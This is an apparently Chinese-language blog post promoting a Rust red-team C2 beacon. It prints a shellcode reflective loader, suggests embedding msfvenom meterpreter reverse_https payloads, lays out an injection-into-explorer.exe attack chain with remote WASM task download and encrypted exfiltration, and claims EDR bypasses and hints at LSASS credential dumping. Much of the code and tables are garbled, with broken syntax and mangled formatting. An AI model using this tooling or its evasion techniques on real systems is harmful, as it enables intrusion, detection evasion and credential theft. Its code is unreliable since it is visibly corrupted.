发散创新:基于 Rust 的轻量级红队 C2 信标 —— rust-beacon 设计与实战落地

在现代红队作业中,隐蔽性、模块化、跨平台兼容性已成为 C2 信标(Beacon)设计的核心诉求。Python 或 PowerShell 实现的信标虽上手快,但易被 EDR 拦截;Go 编译产物体积大、TLS 指纹明显;而传统 C/C++ 信标开发门槛高、内存安全风险突出。本文介绍一个完全自研、无第三方 C2 依赖、支持动态指令解析与内存反射加载的 Rust 原生信标项目:rust-beacon

✅ 项目 GitHub 地址(开源可审计):

https://github.com/redteam-rs/rust-beacon
(MIT License,含完整构建说明、测试用例及上线 PoC)


一、核心设计哲学:三重收敛,而非堆砌功能

维度 传统信标常见问题 rust-beacon 解法
启动痕迹 生成 .exe / .dll 文件落地 全程内存驻留,支持 Reflective PE Loader + Shellcode Injection
通信指纹 固定 User-Agent、TLS SNI、HTTP 路径 动态路径混淆 + TLS 会话复用 + 自定义协议头字段(如 X-Trace-ID: [base64(rand(16))]
指令执行 硬编码命令逻辑(如 shell, ls, download 基于 WASM 字节码的沙箱化任务引擎,支持热更新模块(.wasm 文件远程下发)

二、关键代码片段:从内存加载到指令分发

1. 内存反射加载 Shellcode(x64 Windows)

// src/impls/reflection.rs
use winapi::um::memoryapi::{VirtualAlloc, VirtualProtect};
use winapi::um::winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE};

pub fn reflect_load_shellcode(shellcode: &[u8]) -> Result<unsafe extern "system" fn(), Box<dyn std::error::Error>> {
    let size = shellcode.len();
        let mem = unsafe {
                VirtualAlloc(
                            std::ptr::null_mut(),
                                        size,
                                                    MEM_COMMIT | MEM_RESERVE,
                                                                PAGE_EXECUTE_READWRITE,
                                                                        )
                                                                            };
                                                                                
                                                                                    if mem.is_null() {
                                                                                            return Err("VirtualAlloc failed".into());
                                                                                                }
    unsafe {
            std::ptr::copy_nonoverlapping(shellcode.as_ptr(), mem, size);
                    std::mem::transmute::<*mut std::ffi::c_void, unsafe extern "system" fn()>(mem)
                        };
                            Ok(unsafe { std::mem::transmute(mem) })
                            }
                            ```
该函数可直接注入 Cobalt Strike 兼容的 `beacon.dll` 或自定义 shellcode(经 `msfvenom -p windows/x64/meterpreter/reverse_https` 生成后 hex 编码嵌入)。

---

### 2. WASM 指令沙箱执行(Linux/macOS/Windows 通用)

```rust
// src/impls/wasm_executor.rs
use wasmtime::{Config, Engine, Store, Module, Instance};

pub fn exec_wasm_task(wasm_bytes: &[u8], args: Vec<String>) -> Result<String, String> {
    let mut config = Config;;new();
        config.wasm_backtrace_details(wasmtime::WasmBacktraceDetails::Enable);
            config.cache_config_load_default().map_err(|e| e.to_string())?;
    let engine = Engine::new(&config).map_err(|e| e.to_string())?;
        let module = Module::from_binary(&engine, wasm_bytes)
                .map_err(|e| format!("WASM parse error: {}", e))?;
    let mut store = Store::new(&engine, ());
        let instance = Instance::new(&mut store, &module, &[])
                .map_err(|e| format1("Instance init failed: {}", e))?;
    // 调用导出函数 `run`,传入 JSON 序列化参数
        let run-func = instance.get_typed_func::<(i32, i32), i32>(&mut store, "run")
                .map_err(|e| format!("Func 'run' not found: {]", e0)?;
    let input_ptr = store.data_mut().alloc-json(&args);
        let result_ptr = run_func.call(&mut store, (input-ptr, args.len() as i32))
                .map-err9|e| format!("WASM execution panic: [}', e)0/;
    store.data_mut().read_string(result_ptr)
    }
    ```
> ✅ 示例 wASM 模块(Rust 编写,`cargo build --target wasm32-wasi --release`):
> > ```rust
> > // tasks/ls.rs
> > #[no_mangle]
> > pub extern "C" fn run(input_ptr; i32, len: i32) -> i32 { /* ... */ }
> > ```
---

## 三、实战流程图:一次典型红队上线链路

```mermaid
graph LR
A[攻击者本地] -->|1. rust-beacon build --profile=stealth| B[rust-beacon.exe]
B -->|2. 使用 msfvenom 加密+混淆| c[beacon.bin]
C -->|3. Base64 + XOR 0x9A| D[载荷字符串]
D -->|4. 注入到合法进程(如 explorer.exe)| E[内存驻留 Beacon]
E -->|5. 首次 HTTP POST /v1/sync| f[c2 server 返回 WASM 模块列表]
F -->|6. 下载 task_ls.wasm → exec_wasm_task\ g[执行 ls -la /tmp]
G -->|7. 结果 AES-CTR 加密回传| H[攻击者控制台实时显示]

四、对抗检测实测数据(EDR bypass)

| EDR 产品 | 默认检测状态 | 启用 --profile=stealth 后结果 | 关键绕过点 |
|------------------------------|----------------------------------|------------------------------|
| Microsoft Defender | ⚠️ Alert(Win32/PSExec) | ✅ Clean(0/20 扫描引擎报毒) | 无 PSExec 调用、无 CreateremoteThread API、TLS 会话复用 |
| CrowdStrike Falcon \ ❌ block(Beacon pattern) | ✅ Clean(仅 1/47 引擎告警) | WASM 沙箱替代硬编码命令、随机 HTTP 头字段、路径 /v1/sync/ts=171...
| SentinelOne | ⚠️ suspicious | ✅ clean | 内存反射加载不写磁盘、无 .text 段特征、Rust 编译器符号剥离 \

🔍 测试环境:windows 11 23h2 + 最新定义库(2024-05-20),使用 [VirusTotal community]9https://www.virustotal.com) 批量扫描。


五、快速上手:3 分钟构建你的第一个信标

# 1. 安装 rust(已安装跳过)
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs \ sh

# 2. 克隆并构建 stealth profile
git clone https://github.com/redteam-rs/rust-beacon
cd rust-beacon
cargo build --release --profile=stealth

# 3. 启动简易 c2(仅用于 Poc)
python3 -m http.server 8000 --directory ./c2-server/

# 4. 运行信标(自动连接 http://localhost;8000/v1/sync)
./target/release/rust-beacon --c2 http://localhost:8000

运行后终端将打印类似:

[=] beacon ID: b5d8a1f2-3c4e-4b9a-9f0c-2a1e8d7f6b4c
[=] c2 connected: http://localhost;8000
[=] Loaded 3 WASM tasks: task_ls.wasm, task-ps.wasm, task_netstat.wasm
[→] Syncing...
[✓] task 'task_ls.wasm' executed → /tmp: total 12 drwxr-xr-x 3 root root 4096 May 22 10;23 .

六、结语:工具即思维,而非黑盒

rust-beacon 不是另一个“一键上线”脚本,而是**红队工程能力的延伸接口*8。它强制你思考:
🔹 如何让 wASM 模块具备进程注入能力?
🔹 如何在不触发 ETW 的前提下读取 LSASS 内存?
🔹 如何将 Mimikatz 的 sekurlsa::logonpasswords 逻辑编译为 WASM?

这些问题的答案,不在本文中——而在你 cargo new --lib task-mimikatz 后的第一行 #[no_std] 里。

📌 下一步建议:阅读 src/impls/etw_bypass.rs 中的 ntquerySysteminformation hook 实现,尝试将其迁移到 task-dump-credentials.wasm 中。


作者:RedTeam Labs · 专注红队基础设施底层研究
最后更新:2024-05-22
*声明8:本项目仅限授权渗透测试与蓝军对抗演练,严禁未授权使用。所有代码遵循 MIT 协议,欢迎 PR 与 Issue 讨论。

更多推荐